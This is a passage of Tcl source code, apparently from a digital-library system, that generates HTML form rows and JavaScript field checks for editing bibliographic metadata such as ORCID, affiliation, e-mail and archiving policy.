<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForResumeID</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont>&nbsp\;$resumeIDValue</TD>
<TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"
										lappend rowList "<INPUT TYPE=HIDDEN NAME=\"__resumeid_resumeid$i\" VALUE=\"$resumeIDValue\">"
									}
									lappend rowList "<INPUT TYPE=HIDDEN NAME=\"resumeid$i\" VALUE=\"$translatedCustomizedFieldNameForResumeID ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)\">"	;# for JavaScript alert
								}
							}
							if [info exists displayTable($referenceType,%@orcid)] {
# orcid
								if [regexp {^(2.1|4)$} $fieldTypeNumberForORCID] {
									set orcidValue [lindex $orcidValueList [expr $i - 1]]
									if {[info exists fillingButtonTable($referenceType)] && \
									$fillingButtonTable($referenceType)} {
										set fillingButton "<INPUT TYPE=submit VALUE=\"=\" class=multipleCreatorButton ONCLICK=\"SetFillOutParameters($i, 'orcid')\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Try to fill out this field}\">"
									} else {
										set fillingButton "&nbsp;"
									}
									if [regexp {^2.1$} $fieldTypeNumberForORCID] {
										lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldNameForORCID ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForORCID</FONT></TD>
<TD BGCOLOR=$cellBackgroundColor><INPUT class=submitInput TYPE=TEXT NAME=\"__orcid_orcid$i\" VALUE=\"$orcidValue\" STYLE=\"font-family: Verdana\"></TD>
<TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"
									} elseif {[regexp {^4$} $fieldTypeNumberForORCID]} {									
										lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldNameForORCID ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForORCID</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont>&nbsp\;$orcidValue</TD>
<TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"
										lappend rowList "<INPUT TYPE=HIDDEN NAME=\"__orcid_orcid$i\" VALUE=\"$orcidValue\">"
									}
									lappend rowList "<INPUT TYPE=HIDDEN NAME=\"orcid$i\" VALUE=\"$translatedCustomizedFieldNameForORCID ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)\">"	;# for JavaScript alert
								}
								lappend orcidLineList "if (document.$submissionType.__orcid_orcid$i.value.match(orcidPattern) == null) {j++}"
							}
							if [info exists displayTable($referenceType,%@group)] {
# group
								if [regexp {^(2.1|3)$} $fieldTypeNumberForGroup] {
									set groupValue [lindex $groupValueList [expr $i - 1]]
									if {[info exists fillingButtonTable($referenceType)] && \
									$fillingButtonTable($referenceType)} {
										set fillingButton "<INPUT TYPE=submit VALUE=\"=\" class=multipleCreatorButton ONCLICK=\"SetFillOutParameters($i, 'group')\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Try to fill out this field}\">"
									} else {
										set fillingButton "&nbsp;"
									}
									if [regexp {^2.1$} $fieldTypeNumberForGroup] {
#<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}[subst $translatedCustomizedFieldNameForGroup]</FONT></TD>
										lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}[subst $translatedCustomizedFieldNameForGroup] ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForGroup</FONT></TD>
<TD BGCOLOR=$cellBackgroundColor><INPUT class=submitInput TYPE=TEXT NAME=\"__group_group$i\" VALUE=\"$groupValue\" STYLE=\"font-family: Verdana\"></TD>
<TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"
									} elseif {[regexp {^3$} $fieldTypeNumberForGroup]} {
# puts $translatedCustomizedFieldName
										set row <TR>
#										append row "<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}[subst $translatedCustomizedFieldNameForGroup]</FONT></TD>
#<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForGroup</FONT></TD>"
										append row "<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${cellFont}[subst $translatedCustomizedFieldNameForGroup] ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForGroup</FONT></TD>"
# puts $row
										append row "<TD BGCOLOR=$cellBackgroundColor>"
										CreateSelect %@group __group_group$i $groupValue row $i
										append row "</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"
										lappend rowList $row
									}
									lappend rowList "<INPUT TYPE=HIDDEN NAME=\"group$i\" VALUE=\"[subst $translatedCustomizedFieldNameForGroup] ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)\">"	;# for JavaScript alert
								}
							}
							if [info exists displayTable($referenceType,%@affiliation)] {
# affiliation
								if [regexp {^2.1$} $fieldTypeNumberForAffiliation] {
									set affiliationValue [lindex $affiliationValueList [expr $i - 1]]
									if {[info exists fillingButtonTable($referenceType)] && \
									$fillingButtonTable($referenceType)} {
										set fillingButton "<INPUT TYPE=submit VALUE=\"=\" class=multipleCreatorButton ONCLICK=\"SetFillOutParameters($i, 'affiliation')\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Try to fill out this field}\">"
									} else {
										set fillingButton "&nbsp;"
									}
									lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldNameForAffiliation ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForAffiliation</FONT></TD>
<TD BGCOLOR=$cellBackgroundColor><INPUT class=submitInput TYPE=TEXT NAME=\"__affiliation_affiliation$i\" VALUE=\"$affiliationValue\" STYLE=\"font-family: Verdana\"></TD>
<TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"

									lappend rowList "<INPUT TYPE=HIDDEN NAME=\"affiliation$i\" VALUE=\"$translatedCustomizedFieldNameForAffiliation ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)\">"	;# for JavaScript alert
								}
							}
							if {[info exists displayTable($referenceType,%@electronicmailaddress)] && [regexp {^2.1$} [lindex $displayTable($referenceType,%@electronicmailaddress) 0]]} {
# electronicmailaddress
								set electronicmailaddressValue [lindex $electronicmailaddressValueList [expr $i - 1]]
								if {[info exists fillingButtonTable($referenceType)] && \
								$fillingButtonTable($referenceType)} {
									set fillingButton "<INPUT TYPE=submit VALUE=\"=\" class=multipleCreatorButton ONCLICK=\"SetFillOutParameters($i, 'electronicmailaddress')\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Try to fill out this field}\">"
								} else {
									set fillingButton "&nbsp;"
								}
								lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldNameForelectronicmailaddress ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForelectronicmailaddress</FONT></TD>
<TD BGCOLOR=$cellBackgroundColor><INPUT class=submitInput TYPE=TEXT NAME=\"__electronicmailaddress_electronicmailaddress$i\" VALUE=\"$electronicmailaddressValue\" STYLE=\"font-family: Verdana\"></TD>
<TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"

#								lappend rowList "<INPUT TYPE=HIDDEN NAME=\"electronicmailaddress$i\" VALUE=\"$translatedCustomizedFieldNameForelectronicmailaddress ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)\">"	;# for JavaScript alert
								lappend electronicMailAddressLineList "if (document.$submissionType.__electronicmailaddress_electronicmailaddress$i.value.match(eMailPattern) == null) {j++}"
							}
						}
#						lappend rowList "<TR>
#<TD BGCOLOR=#E4E4E4 ALIGN=CENTER COLSPAN=7>x</FONT></TD></TR>"

					} elseif [regexp {%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] {
# nothing to append unless reference type is Resume
						if [string equal {Resume} $referenceType] {
							set valueArray($fieldName) $value	;# added by GJFB on 2010-11-26 - together with the 3 backslashes below (\\\) solves square bracket in the target file field (e.g., cartaz Prof[1]. Gerald Banon 19.6.ppt)
							regsub {\)} $fieldName {\\\)} fieldName2	;# added by GJFB on 2010-11-07 - solves field name %) (nextedition)
							lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont><INPUT$onFocus class=submitInput TYPE=TEXT NAME=\"$field\" VALUE=\"\\\$valueArray($fieldName2)\" STYLE=\"font-family: Verdana\">"
							lappend rowList "</TD><TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
						}
					} else {
# onFocus
						if {!$update && [regexp {%T} $fieldName] && \
						[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]]} {
# title
#							set onFocus { onFocus="MultipleCreatorAlert()"}	;# commented by GJFB on 2020-11-21
							set onFocus {}	;# added by GJFB on 2020-11-21 - with the new layout the warning message is useless
						} else {
							set onFocus {}
						}

# Migration 2006-05-14
# old collection may contain multiple e-mail addresses in the e-mail address field
						if {[string equal {%@e-mailaddress} $fieldName] && $update} {
# %@e-mailaddress
							if [regexp {\s} $value] {
# multiple e-mail addresses
								set ifEMailAddressCondition {0}	;# don't check the e-mail address
							}
						}
# Migration 2006-05-14 - end

						if {[string equal {%U} $fieldName] && [regexp {2.1d} $fieldTypeNumber]} {
# %U
# URL
if 0 {
# display the download radio buttons
							set downloadRadioButtons "
<BR><INPUT class=radio NAME=\"download\" VALUE=\"dontgeturl\" TYPE=radio CHECKED>&nbsp;${Don't Get URL}
<BR><INPUT class=radio NAME=\"download\" VALUE=\"geturldonttransfercopyright\" TYPE=radio>&nbsp;${Get URL and Don't Transfer Copyright}
<BR><INPUT class=radio NAME=\"download\" VALUE=\"geturltransfercopyright\" TYPE=radio>&nbsp;${Get URL and Transfer Copyright}
"
							if [info exists cgi(download)] {
								if {[string compare {geturldonttransfercopyright} $cgi(download)] == 0} {
									set downloadRadioButtons "
<BR><INPUT class=radio NAME=\"download\" VALUE=\"dontgeturl\" TYPE=radio>&nbsp;${Don't Get URL}
<BR><INPUT class=radio NAME=\"download\" VALUE=\"geturldonttransfercopyright\" TYPE=radio CHECKED>&nbsp;${Get URL and Don't Transfer Copyright}
<BR><INPUT class=radio NAME=\"download\" VALUE=\"geturltransfercopyright\" TYPE=radio>&nbsp;${Get URL and Transfer Copyright}
"
								} elseif {[string compare {geturltransfercopyright} $cgi(download)] == 0} {
									set downloadRadioButtons "
<BR><INPUT class=radio NAME=\"download\" VALUE=\"dontgeturl\" TYPE=radio>&nbsp;${Don't Get URL}
<BR><INPUT class=radio NAME=\"download\" VALUE=\"geturldonttransfercopyright\" TYPE=radio>&nbsp;${Get URL and Don't Transfer Copyright}
<BR><INPUT class=radio NAME=\"download\" VALUE=\"geturltransfercopyright\" TYPE=radio CHECKED>&nbsp;${Get URL and Transfer Copyright}
"
								}
							}
							lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont><INPUT$onFocus class=submitInput TYPE=TEXT NAME=\"$field\" VALUE=\"$value\" STYLE=\"font-family: Verdana\">"
							lappend rowList $downloadRadioButtons
} else {
# display the check box for the URL field
							set chekBoxCode "<INPUT class=\"checkBox\" id=\"download\" NAME=\"download\" VALUE=\"yes\" TYPE=\"CHECKBOX\" TITLE=\"${capture the URL content}\">&nbsp;"
							lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont NOWRAP>$chekBoxCode<INPUT onChange=\"EnableDisableURLDownloadCheckBox()\" class=submitInputWithCheckBox TYPE=TEXT NAME=\"$field\" VALUE=\"$value\" STYLE=\"font-family: Verdana\">"
}
						} else {
							if {0 && [string equal {%3} $fieldName] && $update && [TestContentType $repName {^Mirror$} $homePath]} {
								set preservedValue $value	;# used in hidden type input only
								lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont>&nbsp\;$value</TD>"
								lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$preservedValue\">"
							} else {
# puts --$value--
#								set valueArray($fieldName) $value	;# added by GJFB on 2010-11-26 - together with the 3 backslashes below (\\\) solves square bracket in the target file field (e.g., cartaz Prof[1]. Gerald Banon 19.6.ppt)
								set valueArray($fieldName) [EscapeUntrustedData $value]	;# added by GJFB on 2019-04-30 - applies to field like title and year
								regsub {\)} $fieldName {\\\)} fieldName2	;# added by GJFB on 2010-11-07 - solves field name %) (nextedition)
								lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont><INPUT$onFocus class=submitInput TYPE=TEXT NAME=\"$field\" VALUE=\"\\\$valueArray($fieldName2)\" STYLE=\"font-family: Verdana\">"
							}
						}
						lappend rowList "</TD><TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
					}
				} elseif {$fieldTypeNumber == 2.2} {
# 2.2
# display check box for the Content Type field
					if {$update && [regexp {%@contenttype} $fieldName] && ![regexp {^$|^External Contribution$} $repositoryContentType]} {
# don't display the repository content type check box if the repository content type value is not empty neither External Contribution
# this is done to preserve the current repository content type value if it is not empty neither External Contribution
# just the External Contribution value may be set on-line, the other values must be set using the URLibService interface
						lappend rowList "<INPUT TYPE=HIDDEN NAME=\"__contenttype_contenttype\" VALUE=\"$repositoryContentType\">"
						continue
					} elseif {[info exists cgi(templaterepository)]} {
# don't display the repository content type check box if duplicating a respository from a template
						continue
					}					
					set row <TR>
					append row "<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD><TD BGCOLOR=#EEEEEE>"
					CreateCheckBox $fieldName $field $value row
					append row "</TD><TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
					lappend rowList $row


				} elseif {$fieldTypeNumber == 2.3} {
# 2.3
# radio input
					lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE>"
					set radioOption {}
					foreach item $optionTable2($referenceType,$fieldName) {
						foreach {customizedOption option} $item {break}
						if [info exists translationTable($customizedOption,$referenceType,$fieldName)] {
							set translatedCustomizedOption $translationTable($customizedOption,$referenceType,$fieldName)
						} else {
# don't translate
							set translatedCustomizedOption $customizedOption
						}
						if [string equal $option $value] {
							set checked { CHECKED}
						} else {
							set checked {}
						}
						lappend radioOption "<INPUT TYPE=radio NAME=\"$field\" VALUE=\"$option\"$checked>&nbsp;<FONT SIZE=1>$translatedCustomizedOption</FONT></FONT>"
					}
					lappend rowList "[join $radioOption <BR>]</TD><TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"


				} elseif {$fieldTypeNumber == 3} {
# 3
if 1 {
# added by GJFB on 2021-06-28 to set on-line the Bibliography Data Base option in addition to External Contribution for Misc records which have no contenttype or have as contenttype External Contribution or Bibliography Data Base (ref misc and {not contentty * or contentty external or contentty base})
# display menu for the Content Type field
					if {0 && $update && [regexp {%@contenttype} $fieldName] && (![string equal {Misc} $referenceType] || ![regexp {^$|^(External Contribution|Bibliography Data Base)$} $repositoryContentType])} {	;# 0 added by GJFB on 2025-01-24 to let displaying the Content Type field menu (the display control should continue to be defined by the content of displayControl.tcl only)
# don't display the repository content type menu if the reference type is not Misc or the repository content type value is not empty neither External Contribution nor Bibliography Data Base
# this is done to preserve the current repository content type value if it is not empty neither External Contribution
# just the External Contribution and Bibliography Data Base values may be set on-line for Misc, the other values must be set using the URLibService interface
						lappend rowList "<INPUT TYPE=HIDDEN NAME=\"__contenttype_contenttype\" VALUE=\"$repositoryContentType\">"
						continue
					} elseif {[info exists cgi(templaterepository)]} {
# don't display the repository content type menu if duplicating a respository from a template
						continue
					}
}					
					if {[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && [regexp {%@group} $fieldName]} {
# multiple creator fields (group field)
# nothing to append
					} else {
						set row <TR>
						append row "<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>"
						append row "<TD BGCOLOR=#EEEEEE>"
						CreateSelect $fieldName $field $value row	;# updates fillOutFieldCode
if 1 {						
						if [info exists optionTable2($referenceType,$fieldName)] {
							if [regexp {=>} $optionTable2($referenceType,$fieldName)] {
								if {[regexp {^%@documentstage$} $fieldName] && \
								[string equal {another advanced user} $value]} {
									set onLoad {}
								}
								lappend lineList "if (document.$submissionType.anotheradvanceduser.value == \"\" && document.$submissionType.__documentstage_documentstage.value == \"another advanced user\") {fieldNameList += document.$submissionType.anotheradvanceduserfieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
								lappend fillOutFieldCode "
				if (document.$submissionType.__documentstage_documentstage.value == \"another advanced user\") {
					document.getElementById('anotherAdvancedUser').disabled=false
				} else {
					document.getElementById('anotherAdvancedUser').disabled=true
					document.$submissionType.anotheradvanceduser.value = \"\"
				}\
								"
								ConditionalSet anotherAdvancedUser cgi(anotheradvanceduser) {}
								append row "&nbsp;<INPUT TYPE=TEXT class=submitInput id=\"anotherAdvancedUser\" NAME=\"anotheradvanceduser\" VALUE=\"$anotherAdvancedUser\" STYLE=\"width: 140px\">&nbsp;&nbsp;&nbsp;<font STYLE=\"font-family: Verdana; font-size: 11px; color: #666666;\">e-Mail (login)</font>"
								append row "\n"
								append row "<INPUT TYPE=HIDDEN NAME=anotheradvanceduserfieldname VALUE=\"e-Mail (login)\">"
							}
						}
}
						append row "</TD><TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
						lappend rowList $row
					}
				} elseif {[regexp {4|5} $fieldTypeNumber]} {
# 4 or 5
					if {[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && [regexp {%@resumeid} $fieldName]} {
# multiple creator fields (resumeid field)
# nothing to append
					} else {
						set preservedValue $value	;# used in hidden type input only
						if [string equal {%@parentrepositories} $fieldName] {
# used for review
							if {$fieldTypeNumber == 4} {
# display the parent document link
								set value "<A HREF=http://$localSite/rep-/$value TARGET=_blank>$value</A>"
							}
							if {$fieldTypeNumber == 5} {
# display the parent document link and the parent reference link
								set metadataParentRep [Execute $serverAddressWithIP [list FindMetadataRep $value]]
								set value "<A HREF=http://$localSite/rep-/$value TARGET=_blank>$Document</A> | <A HREF=http://$localSite/col/$currentRep/doc/mirrorget.cgi?languagebutton=$language&metadatarepository=$metadataParentRep TARGET=_blank>$Reference</A>"
							}
						}
						if {$update && [string equal {%@archivingpolicy} $fieldName]} {
# Update archiving policy			
							set archivingPolicy [Execute $serverAddressWithIP [list UpdateArchivingPolicy $rep $metadataRep administrator $codedPassword] 0]	;# archivingPolicy value is used in this FOREACH to decide hiding or not the read permission field
							set value $archivingPolicy
							if [regexp {^<(.*)>$} $value m errorMessage] {
								puts <PRE>[join $errorMessage \n]</PRE>
								return
							}
# Update archiving policy - end

# Update returnInfo
							SetFieldValue $serverAddressWithIP $metadataRep-0 {metadatalastupdate}
# lastupdate=2012:11.08.15.47.18+dpi.inpe.br/banon/1999/01.09.22.14+administrator+{D+2011}
							regsub {lastupdate=[^+]*} $returnInfo lastupdate=[lindex $metadatalastupdate 0] returnInfo
# Update returnInfo - end
		
							set preservedValue $value	;# used in hidden type input only
							set {archivingPolicyArray(allowpublisher allowfinaldraft)} { => publisher}
							set {archivingPolicyArray(denypublisher allowfinaldraft)} { => finaldraft or otherwise publisher}
							set {archivingPolicyArray(denypublisher* allowfinaldraft)} { => finaldraft or otherwise publisher}
							set {archivingPolicyArray(allowpublisher denyfinaldraft)} { => publisher}
							set {archivingPolicyArray(allowpublisher denyfinaldraft*)} { => publisher}
							set {archivingPolicyArray(denypublisher denyfinaldraft)} { => publisher or otherwise finaldraft}
							set {archivingPolicyArray(denypublisher* denyfinaldraft)} { => publisher}
							set {archivingPolicyArray(denypublisher denyfinaldraft*)} { => finaldraft or otherwise publisher}
							set {archivingPolicyArray(denypublisher* denyfinaldraft*)} { => publisher}
							regsub -all {\d+} $preservedValue {*} arrayEntry
							if [info exists archivingPolicyArray($arrayEntry)] {
								set value $value$archivingPolicyArray($arrayEntry)
							}
						}
						set value [join [split $value \n] {<BR>&nbsp;}]	;# added by GJFB on 2013-05-23 - convert to html
						lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT NOWRAP class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont>&nbsp\;$value</TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
						lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$preservedValue\">"
					}
				}
			} else {
# Preserve value when the field doesn't appear in displayTable in displayControl.tcl
# puts [list $fieldName = $value]
				if ![string equal {} $value] {
					regsub -all {\\} $value {\\\\\\\\\\\\\\\\} value	;# \ -> \\\\\\\\ ($\mu$) - added by GJFB on 2012-04-09 - useful in abstract - # of \: 16 = 2 * 8 (for 3 subst)
					regsub -all {\$} $value {\\\\\\\\\\\\\$} value	;# $ -> \\\\\\\$ ($w$-operator) - added by GJFB on 2012-04-09 - # of \: 13 = 2 * 7 - 1 (for 3 subst)
# target file (e.g., caoticas[1].pdf) - the two substitutions below are needed to avoid e.g., an invalid command name "1" when opening the form
# notes [CD-ROM]
					regsub -all {\[} $value {\\\\\\\\\\\\\[} value	;# added by GJFB on 2011-02-09
					regsub -all {\]} $value {\\\\\\\\\\\\\]} value	;# added by GJFB on 2011-02-09
					lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$value\">"
				}
# Preserve value when the field doesn't appear in displayTable in displayControl.tcl - end
			}
		}
# FOREACH - end

		if {![info exists orderingFieldTable($referenceType)] || [string equal {} $orderingFieldTable($referenceType)]} {
			set cellBgColor $color3
		}
		
# Add Code field
		if {0 && $update} {
# commented by GJFB on 2015-11-21 - exposing code in form is not a secure issue
# update
			if {[info exists targetFile] && (([info exists targetFileExtension] && \
			[regexp -nocase {tex} $targetFileExtension]) || \
			[TestContentType $repName {^Tcl Page$|^Index$|^CGI Script$} $homePath])} {
# .tex target file or Tcl Page, Index, CGI Script
				Load $homePath/col/$repName/doc/$targetFile codeValue
				lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}\$Code</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}</FONT></TD>
<TD BGCOLOR=#EEEEEE><TEXTAREA onkeydown=\"insertTab(this, event);\" NAME=\"codefordynamicpage\" COLS=54 ROWS=26 WRAP=VIRTUAL STYLE=\"font-family: Verdana\">\\\$codeValue</TEXTAREA></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
			}
		}
# Add Code field - end

		set fillOutFieldCode [join $fillOutFieldCode \n]	;# updated in CreateSelect

# puts $requiredFieldList	;# => _A_author _T_title _B_journal _D_year _V_volume
		foreach requiredField $requiredFieldList {
			regsub {^_} $requiredField {%} field2
			regsub {%_} $field2 {%@} field2
			regsub -all {e_mail} $field2 {e-mail} field2
			regsub {_} $field2 { } field2
			set fieldName [lindex $field2 0]	;# %A
			set label [lindex $field2 1]	;# author
			regsub {e-mail} $label {e_mail} label2
# another advanced user
			if [string equal {%@documentstage} $fieldName] {
#				lappend lineList "if (document.$submissionType.__documentstage_documentstage.value == \"another advanced user\" && document.$submissionType.anotheradvanceduser.value == \"\") {fieldNameList += document.$submissionType.documentstage.value + \"\\\\\\\\\\\\\\\\n\"; i++}"	;# commented by GJFB on 2016-06-06
				lappend lineList "if (document.$submissionType.__documentstage_documentstage.value == \"another advanced user\" && document.$submissionType.anotheradvanceduser.value == \"\") {fieldNameList += document.$submissionType.anotheradvanceduser.value + \"\\\\\\\\\\\\\\\\n\"; i++}"	;# added by GJFB on 2016-06-06
			}
# another advanced user - end

# fieldTypeNumber
#			set fieldTypeNumber [subst [lindex $displayTable($referenceType,$fieldName) 0]]	;# commented by GJFB on 2016-06-05
			set displayValue [subst $displayTable($referenceType,$fieldName)]	;# added by GJFB on 2016-06-05 - subst added to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
			set fieldTypeNumber [lindex $displayValue 0]	;# added by GJFB on 2016-06-05

			if {$fieldTypeNumber == 2.2} {
# checkbox
				set i 0
				set conditionList {}
				foreach xxx $boxTable($referenceType,$fieldName) {
					lappend conditionList "!(document.$submissionType.$requiredField\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\].checked)"
					incr i
				}
				AppendLineList [join $conditionList { && }] $label2
			} elseif {$fieldTypeNumber == 2.3} {
# radio
				set i 0
				set conditionList {}
				foreach xxx $optionTable2($referenceType,$fieldName) {
					lappend conditionList "!(document.$submissionType.$requiredField\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\].checked)"
					incr i
				}
				AppendLineList [join $conditionList { && }] $label2
			} else {
				regsub {abstract} $label2 {abstract2} label2	;# abstract is a reserved word for Netscape
				if {[regexp {%A|%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] && \
				[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && \
				([regexp {%A} $fieldName] || \
				([regexp {%@resumeid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
